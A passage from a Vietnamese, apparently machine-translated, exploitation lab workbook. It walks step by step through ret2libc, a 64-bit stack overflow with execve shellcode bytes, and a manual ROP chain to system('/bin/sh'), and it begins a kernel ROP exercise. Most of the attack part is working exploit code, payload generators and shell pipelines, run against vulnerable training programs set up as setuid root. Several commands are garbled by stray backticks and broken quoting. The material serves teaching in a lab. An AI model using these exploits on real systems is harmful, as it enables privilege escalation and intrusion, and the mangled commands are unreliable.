Khi chúng ta xem xét mã, rõ ràng là và trong các nhận xét, chúng ta phải tính toán ba vị trí sau:a. “/bin/sh”b. system() c.exit()

    1. Đã đến lúc gỡ lỗi. Thoát khỏi trình soạn thảo của bạn và nhập gcc -fno-stack-protector -z noexecstack -g -o retlib_gdb retlib.c.
    2. Tiếp theo, nhập gdb retlib_gdb.
    3. Nhập b bof.
    4. Nhập run.
    5. Bây giờ chúng ta cần các địa chỉ. Nhập p $ebp theo sau là p &buffer. Một ví dụ được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị các địa chỉ của $ebp và &buffer]

    1. Ghi lại các giá trị này hoặc ghi chú lại chúng.
    2. Chạy mã của chúng ta từ trước đó để printenv và lấy địa chỉ cho /bin/sh của chúng ta.
    3. Bây giờ chúng ta cần biết sự khác biệt. Quá trình trong gdb được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị sự khác biệt giữa $ebp và &buffer]

    1. Như ảnh chụp màn hình ở trên cho thấy, chúng ta có sự khác biệt là 0x14. Bây giờ chúng ta có những điều sau:

    a. Khoảng cách giữa buffer[] và ebp = 0x14 = 20
    b. Khoảng cách của địa chỉ system() từ buffer[] = 20 + 4 = 24
    c. Khoảng cách của exit() từ buffer[] = 24 + 4 = 28
    d. Khoảng cách của địa chỉ “/bin/sh” từ buffer[] = 28 + 4 = 32

    1. Bây giờ chúng ta có tất cả thông tin cần thiết để nhập vào mã khai thác và xem các công cụ của chúng ta chính xác như thế nào.
    2. Bây giờ chúng ta lấy các số chúng ta có và đặt chúng và các địa chỉ vào mã khai thác của chúng ta và xem điều gì xảy ra.
    3. Một thách thức là các địa chỉ không bao giờ chính xác, vì vậy nếu chương trình của bạn bị lỗi, bạn có thể gỡ lỗi retlib và xem liệu có địa chỉ khác với địa chỉ đã được ghi lại hay không.

    Chương trình sau hoàn thành điều này và bạn cũng có thể sử dụng nó để so sánh với mã trước đó.

          /* getenv.c */
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int main(int argc, char const *argv[]) {
        char *ptr;
        if (argc < 3) {
            printf("Usage: %s <environment var> <target program name>\n", argv[0]);
            exit(0);
        }
        ptr = getenv(argv[1]);
        ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
        printf("%s will be at %p\n", argv[1], ptr);
        return 0;
    }
        

    Use code with caution.C

    1. Một ví dụ về mã được sử dụng được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của chương trình getenv]

    1. Lưu ý rằng khi bài tập này được viết, chương trình hiển thị sự khác biệt 4 byte trong địa chỉ cho “bin/sh”. Bạn có thể muốn chạy nó thông qua trình gỡ lỗi để xác thực địa chỉ.
    2. Một ví dụ về khai thác thành công được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị khai thác thành công]

    1. Như ảnh chụp màn hình ở trên cho thấy, chúng ta vẫn phải chạy mã tùy chỉnh của mình cho cấp root và điều này là do các biện pháp bảo vệ hiện có trong shell. Điều này sẽ xảy ra một lần nữa, vì vậy tốt nhất bạn nên biết về nó. Có hai phương pháp để giải quyết vấn đề này và bạn có thể chọn một trong hai phương pháp dựa trên sở thích của mình.
    2. Một phương pháp là bạn có thể liên kết /bin/sh với một shell khác: sudo ln -sf /bin/zsh /bin/sh
    3. Phương pháp khác là sửa đổi mã shell của chúng ta: Thay đổi “\x68″//sh” thành “\x68″/zsh”
    4. Các mục tiêu của bài tập đã đạt được. Dọn dẹp nếu cần.

    Bài tập 7: Khai thác 64-bit

    Mục tiêu bài tập: Khai thác mã trên hệ điều hành 64-bit.

    Nhiệm vụ bài tập:

    1. Đăng nhập vào máy Phần mềm-Kiểm tra-Linux bằng studentpassword làm mật khẩu.

    [Ảnh chụp màn hình màn hình đăng nhập]

    1. Như chúng ta đã làm trước đây, trước tiên, hãy tắt các trở ngại để tránh để chúng ta có thể thực hiện thử nghiệm của mình mà không cần xử lý chúng. Trong cửa sổ terminal, nhập sudo sysctl -w kernel.randomize_va_space=0. Điều này sẽ tắt Ngẫu nhiên hóa Bố trí Không gian Địa chỉ (ASLR) như được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình cửa sổ terminal hiển thị lệnh được sử dụng để tắt ASLR]

    1. Chúng ta muốn bắt đầu với một ví dụ về lý do tại sao cách suy nghĩ 32 bit của chúng ta không hiệu quả. Trước tiên, chúng ta sẽ phá vỡ ngăn xếp. Trên máy của bạn, hãy mở trình soạn thảo bạn chọn và nhập mã sau:
          #include <stdio.h>
    #include <unistd.h>
    
    int vuln() {
        char buf[80];
        int r;
        r = read(0, buf, 400);
        printf("\nRead %d bytes. buf is %s\n", r, buf);
        puts("No shell for you :(");
        return 0;
    }
    
    int main(int argc, char *argv[]) {
        printf("Try to exec /bin/sh");
        vuln();
        return 0;
    }
        

    Use code with caution.C

    1. Tiếp theo, chúng ta muốn viết một chương trình điều khiển để kiểm tra. Lưu tệp bạn vừa tạo và gọi nó là simple.c.
    2. Mở một phiên soạn thảo khác và nhập mã sau bằng python để kiểm tra mã dễ bị tổn thương của chúng ta:
          #!/usr/bin/env python
    
    buf = ""
    buf += "A"*400
    
    f = open("in.txt", "w")
    f.write(buf)
        

    Use code with caution.Python

    1. Chúng ta đang sử dụng python ở đây để tạo một tệp và ghi 400 chữ “A” vào đó. Lưu tệp dưới dạng test.py.
    2. Chạy chương trình bằng cách nhập python test.py. Sau đó, nhập more in.txt. Một ví dụ về đầu ra được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị nội dung của in.txt]

    1. Ảnh chụp màn hình ở trên cho thấy rằng bây giờ chúng ta có tệp điều khiển, là một fuzzer đơn giản. Bây giờ chúng ta đã sẵn sàng để biên dịch mã với các biện pháp bảo vệ bị tắt. Nhập gcc -fno-stack-protector -z execstack simple.c -o simple.
    2. Tiếp theo, gỡ lỗi mã. Nhập gdb simple.

    [Ảnh chụp màn hình hiển thị đầu ra của gdb simple]

    1. Khi bạn đã ở trong chương trình, hãy nhập r < in.txt. Chúng ta đang cố gắng để chương trình tải tệp với các chữ “A”. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của gdb sau khi chạy chương trình với đầu vào từ in.txt]

    1. Bây giờ chúng ta có lỗi phân đoạn đáng sợ. Dành vài phút và xem xét kết xuất dữ liệu.
    2. Vì vậy, chương trình bị lỗi như mong đợi, nhưng không phải vì chúng ta đã ghi đè RIP bằng một địa chỉ không hợp lệ. Trên thực tế, chúng ta không kiểm soát được RIP. Chúng ta đang ghi đè RIP bằng một địa chỉ không chính tắc là 0x4141414141414141, khiến bộ xử lý tạo ra một ngoại lệ. Để kiểm soát RIP, chúng ta cần ghi đè nó bằng 0x0000414141414141. Do đó, mục tiêu là tìm offset để ghi đè RIP bằng một địa chỉ chính tắc. Chúng ta có thể sử dụng một mẫu tuần hoàn để tìm offset này.
    3. Trong gdb, nhập pattern_create 400 in.txt. Chúng ta đang ghi một mẫu vào tệp in.txt và sẽ xem liệu chúng ta có gặp may mắn nào với nó không. Sau khi lệnh hoàn tất, hãy nhập r < in.txt. Một ví dụ về đầu ra của lệnh được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của gdb sau khi chạy chương trình với mẫu tuần hoàn]

    1. Rõ ràng, chúng ta có mẫu, vì vậy hãy xem offset. Nhập x/wx $rsp. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị giá trị của $rsp]

    1. Bây giờ chúng ta có offset. Hãy trích xuất offset. Nhập pattern_offset 0x41413741. Một ví dụ về đầu ra được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị offset]

    1. Như ảnh chụp màn hình ở trên cho thấy, chúng ta có RIP tại offset 104. Bây giờ hãy xem liệu điều này có giúp chúng ta có được shell hay không.
    2. Tạo một tệp khác và nhập mã sau:
          #!/usr/bin/env python
    from struct import *
    
    buf = ""
    buf += "A"*104
    buf += pack("<Q", 0x4242424242424242) # offset to RIP
                                         # overwrite RIP with 0x0000424242424242
    buf += "C"*290                         # padding to keep payload length at 400 bytes
    
    
    f = open("in.txt", "w")
    f.write(buf)
        

    Use code with caution.Python

    1. Lưu tệp dưới dạng test2.py và sau đó chạy nó để tạo nội dung của tệp in.txt. Sau khi bạn đã tạo tệp, hãy nhập r < in.txt trong gdb và xem điều này có giúp ích hay không. Một ví dụ về đầu ra được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của gdb sau khi chạy chương trình với tệp in.txt mới]

    1. Như bạn có thể thấy, điều này đã thành công. Như ảnh chụp màn hình ở trên cho thấy, bây giờ chúng ta có mẫu BBBBBB được ghi trên RIP. Bây giờ chúng ta chỉ cần ghi shellcode của mình trực tiếp lên ngăn xếp.
    2. Nhập nội dung sau:

    export HACK=python -c ‘print “\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05″‘

    1. Để tránh gõ, lưu ý rằng nội dung sau nằm trong tệp 27byteshell nằm trong examples/samplecode:

    char code[] = “\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05”

    1. Chúng ta đã sử dụng một chương trình để lấy địa chỉ biến môi trường, vì vậy bạn có thể sử dụng địa chỉ đó. Có một địa chỉ khác được ghi có trong cuốn sách Hacking: The Art of Exploitation của Jon Erickson. Điều này được hiển thị tiếp theo:
          #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    
    int main(int argc, char *argv[]) {
        char *ptr;
        if (argc < 3) {
            printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
            exit(0);
        }
    
        ptr = getenv(argv[1]); /* get env var location */
        ptr += (strlen(argv[0]) - strlen(argv[2])) * 2; /* adjust for program name */
        printf("%s will be at %p\n", argv[1], ptr);
    
        return 0;
    }
        

    Use code with caution.C

    1. Tệp getenv.c chứa mã trong đó. Khi bạn đã tạo tệp, hãy nhập nội dung sau để lấy địa chỉ ./getenv HACK ./simple. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị địa chỉ của biến môi trường HACK]

    1. Bây giờ bạn đã có địa chỉ, hãy cập nhật mã khai thác như được hiển thị ở đây:
          #!/usr/bin/env python
    from struct import *
    
    buf = ""
    buf += "A"*104
    buf += pack("<Q", 0x7ffcc5b362bb)
    
    
    f = open("in.txt", "w")
    f.write(buf)
        

    Use code with caution.Python

    1. Thay đổi quyền sở hữu và quyền của tệp. Nhập nội dung sau:

    a. sudo chown root simple

    b. sudo chmod 4755 simple

    1. Hãy nhớ thay thế địa chỉ bằng địa chỉ được in trong bài kiểm tra của bạn. Sau đó lưu nó dưới dạng exploit2.py. Khi bạn đã lưu tệp, hãy nhập python exploit2.py.
    2. Tiếp theo, chúng ta đã sẵn sàng để cập nhật tệp in.txt của mình. Nhập (cat in.txt ; cat) | ./simple. Nếu mọi việc suôn sẻ, bạn sẽ có một shell. Nhập whoami. Như được chỉ ra trong ảnh chụp màn hình sau, root sẽ xuất hiện.

    [Ảnh chụp màn hình hiển thị đầu ra của lệnh whoami]

    1. Nếu thành công, bạn đã khai thác mã trên hệ điều hành 64 bit.
    2. Các mục tiêu của bài tập đã đạt được. Dọn dẹp nếu cần thiết.

    Bài tập 8: Khai thác cơ bản ROP

    Mục tiêu bài tập: Như chúng ta đã làm trước đây, chúng ta sẽ khám phá một phương pháp khai thác khác mà chúng ta sử dụng để vượt qua các hạn chế của system().

    Nhiệm vụ bài tập:

    1. Đăng nhập vào máy Linux 64 bit 12.4 bằng studentpassword làm mật khẩu.

    [Ảnh chụp màn hình màn hình đăng nhập Ubuntu]

    1. Trước khi chúng ta làm điều đó, chúng ta sẽ xem xét quy trình trên 64 bit, có được shell và xem chuỗi Lập trình Định hướng Trả về (ROP).
    2. Chúng ta sẽ sử dụng máy 64 bit cho bài tập này, nhưng chúng ta không sử dụng phiên bản 16.04 vì có những trở ngại bổ sung và chúng ta muốn tập trung nhiều hơn vào ROP bằng 64 bit. Cũng xin lưu ý rằng 12.04 vẫn hoạt động đối với rất nhiều kỹ thuật khác nhau để thực hành và vẫn được triển khai rộng rãi trong Hệ thống Điều khiển Công nghiệp (ICS). Nếu cần, hãy bật nó lên và đăng nhập vào đó. Khi bạn đã đăng nhập, hãy mở cửa sổ terminal và mở trình soạn thảo ưa thích của bạn. Trong trình soạn thảo, nhập mã sau:
          int main() {
        asm("\
        needle0: jmp there\n\
        here: pop %rdi\n\
            xor %rax, %rax\n\
            movb $0x3b, %al\n\
            xor %rsi, %rsi\n\
            xor %rdx, %rdx\n\
            syscall\n\
        there: call here\n\
            .string \"/bin/sh\"\n\
        needle1: .octa 0xdeadbeef\n\
        ");
    }
        

    Use code with caution.C

    1. Mã và khái niệm này được mượn từ một khóa học mật mã của Đại học Stanford.
    2. Bất kể mã của chúng ta nằm ở đâu trong bộ nhớ, thủ thuật call-pop sẽ tải thanh ghi RDI với địa chỉ của chuỗi “/bin/sh”.
    3. Các nhãn needle0 và needle1 sẽ hỗ trợ tìm kiếm sau này, cũng như hằng số 0xdeadbeef (mặc dù vì x86 là little-endian, nó sẽ hiển thị dưới dạng EF BE AD DE theo sau là 4 byte không).
    4. Tiếp theo, hãy lưu tệp dưới dạng ropshell.c. Sau đó biên dịch nó và bạn sẽ nhận được shell như được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị shell]

    1. Như ảnh chụp màn hình ở trên cho thấy, chúng ta có shell, nhưng chúng ta không phải là root. Chúng ta đã thảo luận về cách thực hiện điều này, vì vậy bây giờ chúng ta sẽ tiếp tục với quy trình.
    2. Chúng ta cũng muốn trích xuất thông tin và dữ liệu chúng ta cần cho tải trọng mà chúng ta muốn đưa vào. Nhập objdump -d ropshell | sed -n ‘/needle0/,/needle1/p’. Đảm bảo rằng bạn đã biên dịch mã của mình trước. Một ví dụ về đầu ra của điều này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của objdump]

    1. Vì chúng ta đang ở trên hệ thống 64 bit, có một vài điều cần lưu ý. Một là phân đoạn mã nằm tại 0x400000; vì vậy trong tệp nhị phân, như được hiển thị trong hình ảnh, mã bắt đầu ở offset 0x4b8 vì điều này nằm ở đầu hình ảnh. Sau đó, nó kết thúc ở 0x4d5. Vì vậy, chúng ta muốn tính toán sự khác biệt như được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị phép tính offset]

    1. Chúng ta cần sử dụng bội số của 8, vì vậy chúng ta có thể tạo mã shell tùy chỉnh bằng lệnh sau:a. xxd -s 0x4b8 -l 40 -p ropshell > shellcodeb. cat shellcode

    Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của lệnh xxd]

    1. Để tiết kiệm thời gian, vì chúng ta đã thực hiện việc này trước đây, hãy nhập mã sau vào trình soạn thảo ưa thích của bạn và lưu nó dưới dạng victim.c.
          #include <stdio.h>
    
    int main() {
        char name[64];
        printf("%p\n", name); // Print address of buffer.
        puts("What's your name?");
        gets(name);
        printf("Hello, %s!\n", name);
        return 0;
    }
        

    Use code with caution.C

    1. Khi bạn xem mã nạn nhân của chúng ta ở đây, bạn sẽ thấy rằng chúng ta đã thêm một câu lệnh để in địa chỉ của bộ đệm. Điều này là do chúng ta biết cách lấy địa chỉ này bằng trình gỡ lỗi, vì vậy chúng ta đã bỏ qua bước đó. Bạn luôn có thể chạy nó thông qua gdb sau khi bạn biên dịch nó.
    2. Khi bạn đã lưu nó, thì hãy biên dịch nó. Nhập gcc -o victim -fno-stack-protector victim.c.

    [Ảnh chụp màn hình cửa sổ terminal hiển thị lệnh được sử dụng để biên dịch mã]

    1. Bạn có thể nhận được một số thông báo cảnh báo về việc chúng ta đang sử dụng gets(). Chúng ta biết điều này, nhưng chúng ta chỉ đang kiểm tra bây giờ. Phiên bản Ubuntu mà chúng ta đang sử dụng không đưa ra bất kỳ cảnh báo nào.
    2. Tiếp theo, chúng ta cần tắt bảo vệ ngăn xếp thực thi. Chúng ta có thể đã thực hiện việc này trên dòng lệnh bằng lệnh gcc như chúng ta đã làm trước đó, nhưng chúng ta muốn trình bày một phương pháp khác. Nhập execstack -s victim. Bạn sẽ phải cài đặt điều này trên một số bản phân phối, nhưng chúng ta đã thực hiện việc này cho bạn.
    3. Chúng ta cần tắt ASLR, nhưng chúng ta sẽ sử dụng một phương pháp khác với trước đây. Chúng ta có thể làm điều đó khi chúng ta chạy chương trình. Nhập setarch \arch` -R ./victim`. Tiếp theo, lưu ý địa chỉ của bộ đệm ở đây:

    [Ảnh chụp màn hình hiển thị đầu ra của lệnh setarch]

    1. Bây giờ, chúng ta còn một nhiệm vụ cuối cùng. Địa chỉ này không ở định dạng chúng ta cần; chúng ta cần little-endian. Do đó, bạn có thể tính toán nó, nhưng như mọi khi, có các phương pháp để làm điều này trong Linux, vì vậy chúng ta sẽ sử dụng chúng. Hãy nhớ thay đổi các địa chỉ ở đây và ở mọi nơi để khớp với những gì máy của bạn hiển thị vì không có gì đảm bảo rằng chúng sẽ giống nhau.
    2. Nhập a=\printf %016x 0x7fffffffe1a0 | tac -rs..`. Sau đó, nhập echo $a`. Một ví dụ về đầu ra này, hiển thị địa chỉ ở định dạng little-endian, được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của lệnh echo]

    1. Bây giờ, tất cả những gì chúng ta phải làm là sử dụng shellcode mà chúng ta đã tạo và chúng ta sẽ có được một shell.

    Nhập ((cat ropshell ; printf %080d 0 ; echo $a) | xxd -r -p ; cat) | ./ropshell.

    1. Nhấn enter ba lần và nhập ls. Điều này sẽ cung cấp danh sách và hiển thị rằng bạn đang ở trong shell. Điều này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị danh sách thư mục]

    1. Nếu chúng ta bật tính năng thực thi ngăn xếp, chương trình sẽ bị lỗi, vì vậy chúng ta cần một cách khác. Toàn bộ khu vực được đánh dấu là không thực thi, vì vậy chúng ta bị tắt.
    2. Các đoạn mã được chọn thủ công từ bộ nhớ thực thi; ví dụ, chúng có thể là các đoạn của libc. Do đó, bit không thực thi (NX) không có khả năng ngăn chặn chúng ta. Vui lòng xem thêm chi tiết bên dưới:a. Chúng ta bắt đầu với SP trỏ đến đầu của một loạt các địa chỉ. Một lệnh RET bắt đầu mọi thứ.b. Hãy quên ý nghĩa thông thường của RET là trả về từ một chương trình con. Thay vào đó, hãy tập trung vào các tác động của nó: RET nhảy đến địa chỉ trong vị trí bộ nhớ được giữ bởi SP và tăng SP lên 8 (trên hệ thống 64 bit).c. Sau khi thực hiện một vài lệnh, chúng ta gặp một RET.
    3. Trong ROP, một chuỗi các lệnh kết thúc bằng RET được gọi là một gadget.
    4. Như chúng ta đã làm trước đó, chúng ta có thể sử dụng hàm system() của libc với “/bin/sh” làm đối số. Chúng ta có thể làm điều này bằng cách gọi một gadget gán một giá trị được chọn và cung cấp cho RDI và điều đó gây ra một bước nhảy đến hàm system() libc.
    5. Trước tiên, chúng ta muốn mở rộng quy trình mà chúng ta đã sử dụng trước đó và xác định vị trí libc. Nhập locate libc.so. Một ví dụ về điều này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị vị trí của libc.so]

    1. Như ảnh chụp màn hình ở trên cho thấy, chúng ta có cả 32 bit và 64 bit và chúng ta muốn tập trung vào mã 64 bit. Vì vậy, bây giờ chúng ta muốn tìm kiếm các gadget. Có các công cụ cho việc này, nhưng chúng ta sẽ hiển thị cách thực hiện thủ công vì chúng ta luôn có thể sử dụng công cụ. Hãy nhớ rằng chúng ta cần tìm các lệnh kết thúc bằng RET.
    2. Nhập nội dung sau: objdump -d /lib/x86_64-linux-gnu/libc.so.6 | grep -B5 ret.

    [Ảnh chụp màn hình hiển thị đầu ra của objdump]

    1. Trong danh sách dài các gadget có thể có ở đây, chúng ta phải tìm những điều sau:a. pop %rdib. retq
    2. Chúng ta có thể xem qua đầu ra dài này, nhưng đó không phải là một giải pháp hay. Bạn không thể tìm kiếm một chuỗi byte; ít nhất là tại thời điểm viết bài tập này, không có cách dễ dàng nào để làm điều này. Vì vậy, sử dụng giải pháp thay thế từ nhóm mật mã tại Stanford, hãy nhập xxd c1 -p /lib/x86_64-linux-gnu/libc.so.6 | grep -n -B1 c3 | grep 5f -m1 | awk ‘{printf “%x\n”, $1-1}’.i. Kết xuất thư viện, một mã hex trên mỗi dòng.ii. Tìm kiếm “c3” và in một dòng ngữ cảnh đứng đầu cùng với các kết quả phù hợp. Chúng ta cũng in số dòng.iii. Tìm kiếm kết quả phù hợp “5f” đầu tiên trong kết quả.iv. Vì số dòng bắt đầu từ 1 và offset bắt đầu từ 0, chúng ta phải trừ 1 để lấy giá trị sau từ giá trị trước. Chúng ta cũng muốn địa chỉ ở dạng thập lục phân. Yêu cầu Awk xử lý đối số đầu tiên dưới dạng số (do phép trừ) sẽ thuận tiện bỏ tất cả các ký tự sau các chữ số, cụ thể là “-5f” mà grep xuất ra.v. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của lệnh awk]

    1. Chúng ta bây giờ có địa chỉ của gadget trong libc, vì vậy bây giờ chúng ta cần lấy những điều sau:a. địa chỉ libc – 0x22a12b. địa chỉ của “/bin/sh”c. địa chỉ của hàm system() của libc
    2. Khi chúng ta có những điều này, chúng ta có thể thực thi lệnh RET tiếp theo. Chương trình sẽ lấy địa chỉ của “/bin/sh” vào RDI thông qua gadget đầu tiên và sau đó nhảy đến system().
    3. Chúng ta đã sẵn sàng để kiểm tra phân tích của mình đến thời điểm này. Trong một cửa sổ terminal, hãy nhập ./victim. Trong một cửa sổ terminal khác, nhập hai lệnh sau:a. pid=\ps -C victim -o pid –no-headers | tr -d ‘ ‘“b. grep libc /proc/$pid/maps
    4. Một ví dụ về đầu ra của các lệnh này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của grep]

    1. Từ đầu ra, chúng ta thấy rằng libc được tải vào bộ nhớ tại 0x7fd674f31000. Với kết quả trước đó của chúng ta, chúng ta biết rằng địa chỉ của gadget của chúng ta là 0x7fd674f31000 + 0x22a12.
    2. Bây giờ chúng ta phải đặt “bin/sh” ở đâu đó trong bộ nhớ. Chúng ta có thể tiến hành tương tự như trước đó và đặt chuỗi này ở đầu bộ đệm. Từ trước đó, địa chỉ của nó là 0x7fffffffe1a0.
    3. Điều cuối cùng chúng ta cần là vị trí của system(). Chúng ta đã thấy cách chúng ta có thể lấy địa chỉ này theo nhiều cách khác nhau. Điều đầu tiên chúng ta cần làm là tạo một chương trình sẽ tìm địa chỉ cho chúng ta. Điều này được hiển thị trong đoạn mã sau:
          #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>
    
    int main() {
        char cmd[64];
        sprintf(cmd, "pmap %d", getpid());
        system(cmd);
        return 0;
    }
        

    Use code with caution.C

    1. Lưu tệp dưới dạng base.c. Sau đó, biên dịch nó. Khi nó được biên dịch, chúng ta sẽ sử dụng nó.
    2. Trong cửa sổ terminal, hãy nhập các lệnh sau:a. libc=/lib/x86_64-linux-gnu/libc.so.6b. base=0x\$(setarch \arch` -R ./base | grep -m1 libc | cut -f1 -d’ ‘)`c. echo …base at $based. system=0x\$(nm -D $libc | grep ‘\\<system\>’ | cut -f1 -d’ ‘)e. echo …system at $systemf. exit=0x\$(nm -D $libc | grep ‘\\<exit\>’ | cut -f1 -d’ ‘)g. echo …exit at $exith. gadget=0x\$(xxd -c1 -p $libc | grep -n -B1 c3 | grep 5f -m1 | awk ‘{printf “%x\n”,\$1-1}’)i. echo …push-RDI gadget at $gadget
    3. Một ví dụ về đầu ra từ các lệnh này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị đầu ra của các lệnh]

    1. Trước khi chúng ta giải thích những gì chúng ta đã làm, hãy xem lại ảnh chụp màn hình. Bây giờ chúng ta có tất cả các giá trị mà chúng ta cần để khai thác của chúng ta phá vỡ tính năng không thực thi trên ngăn xếp. Chúng ta đã hoàn thành tất cả những điều này mà không cần trình gỡ lỗi!
    2. Chúng ta đã tải thư viện vào biến libc, sau đó chạy mã của chúng ta và tìm kiếm thông tin trong thư viện và bộ nhớ. Đối với gadget, chúng ta đã sử dụng awk để định dạng đầu ra như sau:a. Kết xuất thư viện, một mã hex trên mỗi dòngb. Tìm kiếm “c3” và in một dòng ngữ cảnh đứng đầu cùng với các kết quả phù hợp. Chúng ta cũng in số dòng.c. Tìm kiếm kết quả phù hợp “5f” đầu tiên trong kết quả.
    3. Vì số dòng bắt đầu từ 1 và offset bắt đầu từ 0, chúng ta phải trừ 1 để lấy giá trị sau từ giá trị trước. Chúng ta cũng muốn địa chỉ ở dạng thập lục phân. Yêu cầu Awk xử lý đối số đầu tiên dưới dạng số (do phép trừ) sẽ thuận tiện bỏ tất cả các ký tự sau các chữ số, cụ thể là “-5f” mà grep xuất ra.
    4. Chúng ta đang ở nơi chúng ta cần đến và chúng ta dự định ghi đè địa chỉ trả về như sau:a. địa chỉ libc + 0x22a12b. địa chỉ của “/bin/sh”c. địa chỉ của hàm system() của libc
    5. Sau đó, lệnh trả về tiếp theo sẽ lấy địa chỉ của “/bin/sh” vào RDI thông qua gadget đầu tiên, sau đó nhảy vào hàm system().
    6. Hãy thử nghiệm một phương pháp khác để xác thực những gì chúng ta đã thu được liên quan đến địa chỉ của system.
    7. Nhập nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep ‘\\<system\>’. Đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị địa chỉ của hàm system]

    1. Như ảnh chụp màn hình ở trên cho thấy, chúng ta thực sự có system và bây giờ chúng ta đang kinh doanh. Vì vậy, chúng ta chỉ cần sử dụng địa chỉ cộng với offset cho mỗi giá trị; trong trường hợp này, offset system là 0x45730.
    2. Trước khi chúng ta tiếp tục, hãy ghi lại các địa chỉ ở đây:a. baseb. systemc. exitd. gadget
    3. Chúng ta có các giá trị được lưu trữ dưới dạng biến. Chúng ta có thể sử dụng chúng với lệnh của mình và tránh các số hex dài. Đây là một trong những lý do để chọn phương pháp này. Nhập lệnh sau:

    addr=\$(echo | setarch \arch` -R ./victim | sed 1q)`

    ((

    echo -n /bin/sh | xxd -p

    printf %0130d 0

    printf %016x \$((base+gadget)) | tac -rs..

    printf %016x \$((addr)) | tac -rs..

    printf %016x \$((base+system)) | tac -rs..

    printf %016x \$((base+exit)) | tac -rs..

    echo

    ) | xxd -r -p ; cat) | setarch \arch` -R ./victim`

    1. Nhấn enter vài lần. Nhập một số lệnh và xác nhận rằng bạn đã chuyển “/bin/sh” vào bộ nhớ thành công và khiến rip thực thi nó. Vậy chúng ta đã làm như thế nào nhiệm vụ khó khăn này? Chúng ta đã làm điều này bằng cách phân tích bộ nhớ và tạo mã shell thủ công!
    2. Cụ thể hơn, có 130 số 0 mà xxd chuyển thành 65 byte không. Điều này chính xác đủ để lấp đầy bộ đệm sau “/bin/sh” cũng như RBP đã đẩy. Sau đó, vị trí tiếp theo ghi đè lên đầu ngăn xếp.
    3. Một ví dụ về đầu ra của lệnh này được hiển thị trong ảnh chụp màn hình sau.

    [Ảnh chụp màn hình hiển thị shell]

    1. Bạn đã bỏ qua thành công ngăn xếp không thực thi trên hệ điều hành 64 bit.
    2. Chúng ta chỉ cung cấp một cái nhìn tổng quan ngắn gọn ở đây: chỉ với một vài gadget, bất kỳ phép tính nào cũng có thể thực hiện được. Hơn nữa, có các công cụ khai thác thư viện cho các gadget và trình biên dịch chuyển đổi ngôn ngữ đầu vào thành một loạt các địa chỉ sẵn sàng để sử dụng trên một ngăn xếp không thực thi không nghi ngờ. Một kẻ tấn công được trang bị tốt cũng có thể quên rằng bảo vệ không gian thực thi thậm chí còn tồn tại.
    3. Các mục tiêu của bài tập đã đạt được. Đóng tất cả các cửa sổ và dọn dẹp nếu cần.

    Bài tập 9: ROP hạt nhân Linux và ROPgadget

    Mục tiêu bài tập:

    Như trước đây, chúng ta sẽ khám phá một phương pháp khai thác khác, cụ thể là thao tác trực tiếp với hạt nhân thông qua hình ảnh được trích xuất trên máy.

    Nhiệm vụ bài tập:

    1. Đăng nhập vào máy Linux 64 bit 12.4 bằng studentpassword làm Mật khẩu.

    .

    [Ảnh chụp màn hình màn hình đăng nhập Ubuntu]

    1. Lập trình hướng trả về trong nhân (ROP) là một kỹ thuật hữu ích thường được sử dụng để vượt qua các hạn chế liên quan đến các vùng bộ nhớ không thực thi. Ví dụ: trên các nhân mặc định, nó trình bày một cách tiếp cận thực tế để vượt qua các biện pháp giảm thiểu ngăn cách địa chỉ hạt nhân và người dùng như Bảo vệ thực thi chế độ giám sát (SMEP) trên các CPU Intel gần đây.
    2. Khi bạn đọc bài viết này, sẽ có những thay đổi trong cơ chế bảo vệ. Kỹ thuật chính xác để áp dụng nhiều khả năng sẽ thay đổi, nhưng quy trình được đề cập ở đây sẽ không.
    3. Trong bài tập trước, chúng ta đã xem xét việc vượt qua ngăn xếp không thực thi. Đây là một phương pháp khác để làm điều đó.
